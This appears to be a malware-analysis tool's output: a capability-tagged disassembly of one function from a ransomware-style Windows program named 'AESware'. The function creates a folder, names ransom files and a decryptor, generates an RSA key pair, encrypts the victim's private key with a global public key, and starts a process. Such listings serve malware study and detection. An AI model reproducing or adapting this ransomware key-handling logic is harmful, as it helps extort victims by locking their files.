Function at 0x140002160
Capabilities:
Create directory
Create process on windows
Encrypt or decrypt data via bcrypt

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x178]
sub rsp, 0x278
mov rax, qword [0x140034080]
xor rax, rsp
mov qword [rbp + 0x150], rax
xor r13d, r13d
lea r8, str.AESware
mov r9d, 0x124
mov qword [rbp - 0x78], r13
lea rdx, str.Would_you_like_to_continue_
mov qword [rbp + 0xd0], r13
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x1400021d1
xor r9d, r9d
lea r8, str.AESware
lea rdx, str.OK._Have_a_good_day.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14000310a
mov qword [rsp + 0x290], rbx
lea r8, str.SystemDrive
mov qword [rsp + 0x298], rsi
lea rdx, [rbp + 0xd0]
mov qword [rsp + 0x2a0], rdi
lea rcx, [rbp - 0x78]
mov qword [rsp + 0x270], r12
mov qword [rsp + 0x268], r14
mov qword [rsp + 0x260], r15
call fcn.14000f40c
test eax, eax
jne 0x1400030da
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x1400030da
xorps xmm0, xmm0
mov qword [rbp - 0x20], r13
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x18], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r13b
jne 0x140002243
lea rcx, [rbp - 0x30]
call fcn.140005900
mov rsi, qword [rbp - 0x20]
movabs r12, 0x7fffffffffffffff
mov rax, r12
sub rax, rsi
cmp rax, 1
jb 0x14000334c
cmp qword [rbp - 0x18], 0x10
lea r15, [rbp - 0x30]
mov ebx, 0xf
mov qword [rsp + 0x60], r13
cmovae r15, qword [rbp - 0x30]
lea r14, [rsi + 1]
mov qword [rsp + 0x68], r13
xorps xmm0, xmm0
lea rdi, [rsp + 0x50]
movabs rax, 0x8000000000000000
lea ecx, [rbx + 7]
movups xmmword [rsp + 0x50], xmm0
cmp r14, rbx
jbe 0x14000231f
mov rbx, r14
or rbx, 0xf
cmp rbx, r12
jbe 0x1400022e5
mov rbx, r12
add rax, 0x27
mov rcx, rax
call fcn.140006e48
test rax, rax
je 0x14000332e
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000231a
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002308
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003334
jmp 0x1400022c6
test rcx, rcx
je 0x140002317
call fcn.140006e48
mov rdi, rax
jmp 0x14000231a
mov rdi, r13
mov qword [rsp + 0x50], rdi
mov r8, rsi
mov qword [rsp + 0x60], r14
mov rdx, r15
mov qword [rsp + 0x68], rbx
mov rcx, rdi
call fcn.140008d00
movzx eax, word [0x14002e32c]
lea rdx, str.AES_Ware
mov byte [rdi + rsi], al
lea rcx, [rsp + 0x50]
mov r8d, 8
mov byte [rdi + r14], r13b
call fcn.140005130
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
mov rdx, qword [rbp - 0x18]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x50], xmm1
cmp rdx, 0x10
jb 0x1400023bf
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023b1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000332e
call fcn.140006e40
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rbp - 0x50]
mov rdx, qword [rsp + 0x68]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm1
cmp rdx, 0x10
jb 0x140002404
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023ff
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000332e
call fcn.140006e40
mov rcx, qword [rbp - 0x78]
call fcn.14000e5e0
cmp qword [rbp - 0x18], 0x10
lea rcx, [rbp - 0x30]
cmovae rcx, qword [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov r14, qword [rbp - 0x20]
mov rax, r12
sub rax, r14
cmp rax, 0xe
jb 0x140003346
cmp qword [rbp - 0x18], 0x10
lea r15, [rbp - 0x30]
lea rsi, [r14 + 0xe]
mov ebx, 0xf
cmovae r15, qword [rbp - 0x30]
lea rdi, [rbp + 0x98]
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
cmp rsi, rbx
jbe 0x1400024e2
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x140002483
movabs rax, 0x8000000000000000
mov rbx, r12
add rax, 0x27
jmp 0x1400024aa
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400024c9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000333a
mov rcx, rax
call fcn.140006e48
test rax, rax
je 0x140003340
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400024db
test rcx, rcx
je 0x1400024d8
call fcn.140006e48
mov rdi, rax
jmp 0x1400024db
mov rdi, r13
mov qword [rbp + 0x98], rdi
mov r8, r14
mov qword [rbp + 0xa8], rsi
mov rdx, r15
mov qword [rbp + 0xb0], rbx
mov rcx, rdi
call fcn.140008d00
movsd xmm0, qword [str.Wallpaper.png]
movsd qword [rdi + r14], xmm0
mov eax, dword [0x14002e338]
mov dword [rdi + r14 + 8], eax
movzx eax, word [0x14002e33c]
mov word [rdi + r14 + 0xc], ax
mov rax, r12
mov byte [rdi + rsi], r13b
mov r14, qword [rbp - 0x20]
sub rax, r14
cmp rax, 0xf
jb 0x140003346
cmp qword [rbp - 0x18], 0x10
lea r15, [rbp - 0x30]
lea rsi, [r14 + 0xf]
mov qword [rbp], r13
cmovae r15, qword [rbp - 0x30]
lea rdi, [rbp - 0x10]
mov ebx, 0xf
mov qword [rbp + 8], r13
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
cmp rsi, rbx
jbe 0x1400025e6
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14000258a
movabs rax, 0x8000000000000000
mov rbx, r12
add rax, 0x27
jmp 0x1400025b1
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400025d0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000333a
mov rcx, rax
call fcn.140006e48
test rax, rax
je 0x140003340
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400025e2
test rcx, rcx
je 0x1400025df
call fcn.140006e48
mov rdi, rax
jmp 0x1400025e2
mov rdi, r13
mov qword [rbp - 0x10], rdi
mov r8, r14
mov qword [rbp], rsi
mov rdx, r15
mov qword [rbp + 8], rbx
mov rcx, rdi
call fcn.140008d00
movsd xmm0, qword [str.ADecryptor.exe]
movsd qword [rdi + r14], xmm0
mov eax, dword [0x14002e348]
mov dword [rdi + r14 + 8], eax
movzx eax, word [0x14002e34c]
mov word [rdi + r14 + 0xc], ax
movzx eax, byte [0x14002e34e]
mov byte [rdi + r14 + 0xe], al
mov rax, r12
mov byte [rdi + rsi], r13b
mov r14, qword [rbp - 0x20]
sub rax, r14
cmp rax, 0xb
jb 0x140003346
cmp qword [rbp - 0x18], 0x10
lea r15, [rbp - 0x30]
lea rsi, [r14 + 0xb]
mov ebx, 0xf
cmovae r15, qword [rbp - 0x30]
lea rdi, [rbp + 0x78]
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
cmp rsi, rbx
jbe 0x1400026e8
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14000268c
movabs rax, 0x8000000000000000
mov rbx, r12
add rax, 0x27
jmp 0x1400026b3
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400026d2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000333a
mov rcx, rax
call fcn.140006e48
test rax, rax
je 0x140003340
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400026e4
test rcx, rcx
je 0x1400026e1
call fcn.140006e48
mov rdi, rax
jmp 0x1400026e4
mov rdi, r13
mov qword [rbp + 0x78], rdi
mov r8, r14
mov qword [rbp + 0x88], rsi
mov rdx, r15
mov qword [rbp + 0x90], rbx
mov rcx, rdi
call fcn.140008d00
movsd xmm0, qword [str.ReadMe.txt]
movsd qword [rdi + r14], xmm0
movzx eax, word [0x14002e358]
mov word [rdi + r14 + 8], ax
movzx eax, byte [0x14002e35a]
mov byte [rdi + r14 + 0xa], al
mov rax, r12
mov byte [rdi + rsi], r13b
mov r14, qword [rbp - 0x20]
sub rax, r14
cmp rax, 0xd
jb 0x140003346
cmp qword [rbp - 0x18], 0x10
lea r15, [rbp - 0x30]
lea rsi, [r14 + 0xd]
mov qword [rbp + 0x40], r13
cmovae r15, qword [rbp - 0x30]
lea rdi, [rbp + 0x30]
mov ebx, 0xf
mov qword [rbp + 0x48], r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
cmp rsi, rbx
jbe 0x1400027ed
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x140002791
movabs rax, 0x8000000000000000
mov rbx, r12
add rax, 0x27
jmp 0x1400027b8
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400027d7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000333a
mov rcx, rax
call fcn.140006e48
test rax, rax
je 0x140003340
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400027e9
test rcx, rcx
je 0x1400027e6
call fcn.140006e48
mov rdi, rax
jmp 0x1400027e9
mov rdi, r13
mov qword [rbp + 0x30], rdi
mov r8, r14
mov qword [rbp + 0x40], rsi
mov rdx, r15
mov qword [rbp + 0x48], rbx
mov rcx, rdi
call fcn.140008d00
movsd xmm0, qword [str.cpub.aesware]
movsd qword [rdi + r14], xmm0
mov eax, dword [0x14002e368]
mov dword [rdi + r14 + 8], eax
movzx eax, byte [0x14002e36c]
mov byte [rdi + r14 + 0xc], al
mov rax, r12
mov byte [rdi + rsi], r13b
mov r14, qword [rbp - 0x20]
sub rax, r14
cmp rax, 0xd
jb 0x140003346
cmp qword [rbp - 0x18], 0x10
lea r15, [rbp - 0x30]
lea rsi, [r14 + 0xd]
mov qword [rbp + 0x20], r13
cmovae r15, qword [rbp - 0x30]
lea rdi, [rbp + 0x10]
mov ebx, 0xf
mov qword [rbp + 0x28], r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
cmp rsi, rbx
jbe 0x1400028ea
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14000288e
movabs rax, 0x8000000000000000
mov rbx, r12
add rax, 0x27
jmp 0x1400028b5
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400028d4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000333a
mov rcx, rax
call fcn.140006e48
test rax, rax
je 0x140003340
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400028e6
test rcx, rcx
je 0x1400028e3
call fcn.140006e48
mov rdi, rax
jmp 0x1400028e6
mov rdi, r13
mov qword [rbp + 0x10], rdi
mov r8, r14
mov qword [rbp + 0x20], rsi
mov rdx, r15
mov qword [rbp + 0x28], rbx
mov rcx, rdi
call fcn.140008d00
movsd xmm0, qword [str.cprv.aesware]
movsd qword [rdi + r14], xmm0
mov eax, dword [0x14002e378]
mov dword [rdi + r14 + 8], eax
movzx eax, byte [0x14002e37c]
mov byte [rdi + r14 + 0xc], al
mov rax, r12
mov byte [rdi + rsi], r13b
mov r15, qword [rbp - 0x20]
sub rax, r15
cmp rax, 0xd
jb 0x140003346
cmp qword [rbp - 0x18], 0x10
lea r14, [rbp - 0x30]
lea rsi, [r15 + 0xd]
mov qword [rbp + 0x60], r13
cmovae r14, qword [rbp - 0x30]
lea rdi, [rbp + 0x50]
mov ebx, 0xf
mov qword [rbp + 0x68], r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
cmp rsi, rbx
jbe 0x1400029e7
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x1400029a8
movabs rax, 0x8000000000000000
mov rbx, r12
add rax, 0x27
mov rcx, rax
call fcn.140006e48
test rax, rax
je 0x140003340
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400029e3
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400029d1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000333a
jmp 0x140002989
test rcx, rcx
je 0x1400029e0
call fcn.140006e48
mov rdi, rax
jmp 0x1400029e3
mov rdi, r13
mov qword [rbp + 0x50], rdi
mov r8, r15
mov qword [rbp + 0x60], rsi
mov rdx, r14
mov qword [rbp + 0x68], rbx
mov rcx, rdi
call fcn.140008d00
movsd xmm0, qword [str.gpub.aesware]
lea rdx, [rbp + 0x98]
movsd qword [r15 + rdi], xmm0
lea rcx, [rsp + 0x50]
mov eax, dword [0x14002e388]
mov dword [r15 + rdi + 8], eax
movzx eax, byte [0x14002e38c]
mov byte [r15 + rdi + 0xc], al
mov byte [rdi + rsi], r13b
call fcn.1400047e0
mov r8, rax
lea rcx, [0x14002e390]
mov edx, 0x65
call fcn.140001c30
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x50]
call fcn.1400047e0
mov r8, rax
lea rcx, [0x14002e398]
mov edx, 0x66
call fcn.140001c30
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.1400047e0
mov r8, rax
lea rcx, [0x14002e3a0]
mov edx, 0x68
call fcn.140001c30
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.1400047e0
mov r8, rax
lea rcx, [0x14002e398]
mov edx, 0x6b
call fcn.140001c30
xor r9d, r9d
lea rdx, [0x14002e3a8]
xor r8d, r8d
lea rcx, [rbp - 0x68]
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
xor r9d, r9d
test eax, eax
jns 0x140002adb
lea rdx, str.Error_opening_RSA_keys.
jmp 0x140003139
mov rcx, qword [rbp - 0x68]
lea rdx, [rbp - 0x70]
mov r8d, 0x800
call qword [sym.imp.bcrypt.dll_BCryptGenerateKeyPair]
test eax, eax
jns 0x140002aff
lea rdx, str.Error_generating_RSA_keys.
jmp 0x140003136
mov rcx, qword [rbp - 0x70]
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptFinalizeKeyPair]
test eax, eax
jns 0x140002b1b
lea rdx, str.Error_Finalizing_RSA_keys.
jmp 0x140003136
mov rsi, qword [rbp - 0x70]
lea rax, [rbp - 0x80]
mov dword [rsp + 0x30], r13d
lea r8, str.RSAPUBLICBLOB
mov qword [rsp + 0x28], rax
mov rcx, rsi
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor edx, edx
mov dword [rbp - 0x80], r13d
call qword [sym.imp.bcrypt.dll_BCryptExportKey]
mov ecx, dword [rbp - 0x80]
mov edi, eax
call fcn.140006e84
mov rbx, rax
test edi, edi
js 0x14000312f
lea rax, [rbp - 0x80]
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], rax
lea r8, str.RSAPUBLICBLOB
mov eax, dword [rbp - 0x80]
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
mov rcx, rsi
call qword [sym.imp.bcrypt.dll_BCryptExportKey]
mov edi, eax
test eax, eax
js 0x14000312f
test rbx, rbx
je 0x14000312f
cmp qword [rbp + 0x48], 0x10
lea rdx, [rbp + 0x30]
lea r8, [0x14002e2b0]
cmovae rdx, qword [rbp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.14000e2dc
mov r9, qword [rbp - 0x60]
test r9, r9
je 0x140002bde
mov r8d, dword [rbp - 0x80]
mov edx, 1
mov rcx, rbx
call fcn.14000e174
mov rcx, qword [rbp - 0x60]
call fcn.14000da24
mov rsi, qword [rbp - 0x70]
lea rax, [rbp - 0x80]
mov dword [rsp + 0x30], r13d
lea r8, str.RSAPRIVATEBLOB
mov qword [rsp + 0x28], rax
mov rcx, rsi
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor edx, edx
mov dword [rbp - 0x80], r13d
call qword [sym.imp.bcrypt.dll_BCryptExportKey]
mov ecx, dword [rbp - 0x80]
mov ebx, eax
call fcn.140006e84
mov rdi, rax
test ebx, ebx
js 0x140002c4b
lea rax, [rbp - 0x80]
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], rax
lea r8, str.RSAPRIVATEBLOB
mov eax, dword [rbp - 0x80]
mov r9, rdi
xor edx, edx
mov dword [rsp + 0x20], eax
mov rcx, rsi
call qword [sym.imp.bcrypt.dll_BCryptExportKey]
mov ebx, eax
mov r14d, dword [rbp - 0x80]
test ebx, ebx
js 0x140003126
test rdi, rdi
je 0x140003126
xorps xmm0, xmm0
lea rdx, [rbp + 0x50]
xor eax, eax
lea rcx, [rbp + 0xb8]
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], rax
call fcn.140001d70
mov rax, qword [rbp + 0xc0]
mov rbx, qword [rbp + 0xb8]
cmp rbx, rax
jne 0x140002ca2
lea rdx, str.Error_Global_Reading_file:_Empty_Result.
jmp 0x140002d71
mov rcx, qword [rbp - 0x68]
lea r9, [rbp - 0x38]
sub rax, rbx
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], eax
lea r8, str.RSAPUBLICBLOB
xor edx, edx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.bcrypt.dll_BCryptImportKeyPair]
test eax, eax
jns 0x140002cda
lea rdx, str.Error_importing_RSA_Global_key.
jmp 0x140002d71
mov r12, qword [rbp - 0x38]
lea rax, [rbp - 0x7c]
mov dword [rsp + 0x48], r13d
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov r8d, r14d
mov dword [rsp + 0x38], 1
mov rdx, rdi
mov qword [rsp + 0x30], r13
mov rcx, r12
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov dword [rbp - 0x7c], r13d
mov dword [rbp + 0x70], r13d
call qword [sym.imp.bcrypt.dll_BCryptEncrypt]
mov ecx, dword [rbp - 0x7c]
mov esi, eax
call fcn.140006e84
mov r15, rax
test esi, esi
js 0x140002d6a
mov dword [rsp + 0x48], r13d
lea rax, [rbp + 0x70]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov eax, dword [rbp - 0x7c]
mov r8d, r14d
mov dword [rsp + 0x38], eax
mov rdx, rdi
mov qword [rsp + 0x30], r15
mov rcx, r12
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.bcrypt.dll_BCryptEncrypt]
mov esi, eax
test eax, eax
jns 0x140002dc8
lea rdx, str.Error_encrypting_RSA_Private_key.
xor r9d, r9d
lea r8, [0x14002e3b0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
test rbx, rbx
je 0x140003148
mov rdx, qword [rbp + 0xc8]
mov rax, rbx
sub rdx, rbx
cmp rdx, 0x1000
jb 0x140002dbb
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
mov rcx, rbx
call fcn.140006e40
jmp 0x140003148
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
lea r8, [0x14002e2b0]
cmovae rdx, qword [rbp + 0x10]
lea rcx, [rbp - 0x58]
call fcn.14000e2dc
mov r9, qword [rbp - 0x58]
test r9, r9
je 0x140002e09
mov r8d, dword [rbp - 0x7c]
mov edx, 1
mov rcx, r15
call fcn.14000e174
mov rcx, qword [rbp - 0x58]
call fcn.14000da24
mov rcx, qword [rbp - 0x68]
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
cmp qword [rbp + 8], 0x10
lea rcx, [rbp - 0x10]
xorps xmm0, xmm0
mov dword [rbp + 0xe0], 0x68
cmovae rcx, qword [rbp - 0x10]
xor eax, eax
mov dword [rbp + 0x144], eax
xor r9d, r9d
mov qword [rbp - 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x50]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x220
mov dword [rsp + 0x20], r13d
movups xmmword [rbp + 0xe4], xmm0
movups xmmword [rbp + 0xf4], xmm0
movups xmmword [rbp + 0x104], xmm0
movups xmmword [rbp + 0x114], xmm0
movups xmmword [rbp + 0x124], xmm0
movups xmmword [rbp + 0x134], xmm0
movups xmmword [rbp - 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x140002ef4
mov rdx, qword [rbp + 0xc8]
mov rax, rbx
sub rdx, rbx
cmp rdx, 0x1000
jb 0x140002eec
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
mov rcx, rbx
call fcn.140006e40
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140002f2f
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f2a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp + 0x28]
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], r13b
cmp rdx, 0x10
jb 0x140002f7a
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f75
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp + 0x48]
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], r13b
cmp rdx, 0x10
jb 0x140002fc5
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fc0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp + 0x90]
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], r13b
cmp rdx, 0x10
jb 0x140003013
mov rcx, qword [rbp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000300e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000304e
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003049
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp + 0xb0]
mov qword [rbp], r13
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], r13b
cmp rdx, 0x10
jb 0x14000309f
mov rcx, qword [rbp + 0x98]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000309a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1400030da
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030d5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov r14, qword [rsp + 0x268]
mov r12, qword [rsp + 0x270]
mov rdi, qword [rsp + 0x2a0]
mov rsi, qword [rsp + 0x298]
mov rbx, qword [rsp + 0x290]
mov r15, qword [rsp + 0x260]
xor eax, eax
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.140006e20
add rsp, 0x278
pop r13
pop rbp
ret
lea rdx, str.Error_exporting_RSA_Private_key.
jmp 0x140003136
lea rdx, str.Error_exporting_RSA_public_key.
xor r9d, r9d
lea r8, [0x14002e3b0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140003183
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000317e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp + 0x28]
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], r13b
cmp rdx, 0x10
jb 0x1400031ce
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031c9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp + 0x48]
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], r13b
cmp rdx, 0x10
jb 0x140003219
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003214
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp + 0x90]
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], r13b
cmp rdx, 0x10
jb 0x140003267
mov rcx, qword [rbp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003262
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1400032a2
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000329d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp + 0xb0]
mov qword [rbp], r13
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], r13b
cmp rdx, 0x10
jb 0x1400032ef
mov rcx, qword [rbp + 0x98]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032ea
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
call fcn.140006e40
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1400030da
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030d5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003340
jmp 0x1400030d5
call fcn.14000f214
int3
call fcn.140001170
int3
call fcn.140001170
int3
call fcn.14000f214
int3
call fcn.140001210
int3
call fcn.140001210
int3